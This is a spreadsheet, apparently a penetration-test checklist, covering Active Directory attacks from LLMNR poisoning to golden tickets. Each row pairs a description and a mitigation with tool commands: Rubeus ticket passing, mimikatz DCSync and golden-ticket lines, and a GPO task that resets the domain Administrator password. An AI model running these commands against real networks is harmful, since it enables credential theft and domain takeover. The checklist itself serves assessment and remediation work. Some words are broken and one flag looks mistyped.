

Totals		Value	Done	UnDone			
		17.00	0	10			
Attack	Description	PRIORITY	DONE	Weight	Solutions	Tools	NOTES
LLMNR Poisoning	LLMNR Poisoning or Link-Local Multicast Name Resolution Poisoning is a very commonly used attack when it comes to running a penetration test against a local network. LLMNR and NBT-NS (NetBIOS Name Service) attacks go hand-in-hand as they can be performed by the same tool. The Link-Local Multicast Name Resolution protocol itself is based on DNS and allows hosts to resolve other hostnames on the same local link.	HIGH	<input type="checkbox"/>	1.00	LLMNR can be turned-o through the group policy editor, under the "policy setting" menu under Local Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client.	1.nmap -Pn -n -p 139,445 --script smb-enum-shares.nse 10.10.10.10 2.responder 3.smbclient //10.10.10.10/share	
AS-REP Roast	AS-REP Roasting is an attack against Kerberos for user accounts that do not require preauthentication. Pre-authentication is the first step in Kerberos authentication, and is designed to prevent brute-force password guessing attacks	MEDIUM	<input type="checkbox"/>	1.00	The obvious protections from this type of attack are to find and remove any instances of user accounts that are set to not require Kerberos preauthentication.	1.Rebeus.exe asrep roast 2.John	
ForceChangePassword	If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password	HIGH	<input type="checkbox"/>	1.00	It is recommended to do regular audits to check the delegations and group permissions in nested groups.	1.. \PowerView.ps1 2.Set-DomainUserPassword -Identity User -Verbose	
GenericWrite	If you have GenericWrite privileges on a Computer object, you can pull Kerberos Resourcebased Constrained Delegation: Computer Object Take Over o .	HIGH	<input type="checkbox"/>	2.00	Remove RC4 encryption via group policy. Apply this to both Domain Controllers, member servers, and Windows 10 Clients.	1.\$pass = ConvertTo-SecureString 'Password123#' -AsPlainText -Force 2.\$creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\MASTER USER"), \$pass 3.Set-DomainObject -Credential \$creds USER1 -Clear serviceprincipalname 4.Set-DomainObject -Credential \$creds -Identity USER1 -SET @ {serviceprincipalname='none/fluu'} 5..\Rubeus.exe kerberoast /domain:<DOMAIN>	
Password Spraying	Able to get access to the internal network host using the credentials	MEDIUM	<input type="checkbox"/>	2.00	Disable unwanted authentication services like WinRM and also restrict unauthorized remote desktop connection with the private instances	1.crackmapexec winrm ips -u users -p pass	
RunForPrivilegeEsc.exe	There was a uncommon executable running as SYSTEM on the machine which was then reversed and analysed and manipulated for our benefits	HIGH	<input type="checkbox"/>	2.00	Avoid using unsecurely coded applications with high privileges	1.dnSpy	
Pass the Ticket Attack	Pass-the-Ticket attacks take aim at Kerberos much in the same way as Golden Ticket and Silver Ticket attacks, both of which exploit unfixable weaknesses in the authentication protocol.	HIGH	<input type="checkbox"/>	2.00	Upon detecting a Pass-the-Ticket attack, your response depends on the level of access the attack provided. If the compromised account from which the TGT or service ticket was stolen was a low privilege account with limited or no permissions outside of the compromised system, mitigation could be as simple as resetting the user's Active Directory password. That would invalidate the stolen TGT or service tickets and prevent the attacker from generating new tickets using the stolen password hash.	1..\Rubeus.exe asktgt /user:<USER>\$ /rc4:<NTLM HASH> /ptt 2.klist	
Abusing Vulnerable GPO	Group Policies are part of every Active Directory. GP is designed to be able to change every system's configurations, from list to most privileged layer. Since it is so fundamental in the network management process, it is also very powerful for attackers to use as an attack vector	HIGH	<input type="checkbox"/>	2.00	Attackers use mapping network mapping techniques as the first step of their attack, but this same technique can be also used for mitigation. You must know and reassess who has access to your GPOs. Using free tools, such as BloodHound, can help you understand who has access to a GPO and who inherits and access. It will help you spot potential lateral movement paths and reevaluate if your current state is answering a "list privileges" method	1..\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" --Author DOMAIN\<USER> --Command "cmd.exe" --Arguments "/c net user Administrator Password!@# /domain" --GPOName "ADDITIONAL DC CONFIGURATION"	
Abusing MSSQL Service Database	MS SQL Server is widely used in enterprise networks. Due to its use by third party applications, support for legacy applications and use as a database, SQL Server is a treasure trove for attackers. It gets integrated with in an active directory environment very well, which makes it an attractive target for abuse of features and privileges.	MEDIUM	<input type="checkbox"/>	2.00	You can use the TRUSTWORTHY database setting to indicate whether the instance of Microso SQL Server trusts the database and the contents within the database. By default, this setting is set to OFF. However, you can set it to ON by using the ALTER DATABASE statement. I recommend that you leave this setting set to OFF to mitigate certain threats that may be present when a database is attached to the server	1.PowerUPSQL.ps1 2.Get-SQLInstanceLocal -Verbose 3.(Get-SQLServerLinkCrawl -Verbose -Instance "10.10.10.20" -Query 'select * from master.sys.servers').customquery Import-Module .\powercat.ps1 powercat -I -v -p 443 -t 10000	
Abusing Domain Trusts	At a high level, a domain trust establishes the ability for users in one domain to authenticate to resources or act as a security principal in another domain, a trust does is link up the authentication systems of two domains and allows authentication tra ic to flow between them through a system of referrals. If a user requests access to a service principal name (SPN) of a resource that resides outside of the domain they're current in, their domain controller will return a special referral ticket that points to the key distribution center (KDC, in the Windows case the domain controller) of the foreign domain.	HIGH	<input type="checkbox"/>	2.00	Remove local admin rights from low privileged users in the domain, disable winrm service if not required and if the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions	1.mimikatz # lsadump::dcsync /user:<USER> 2.mimikatz # kerberos::golden /user:<USER> /domain:<DOMAIN> /sid:<OBJECT SECURITY ID> /rce:<NTLM HASH> /id:<USER ID>	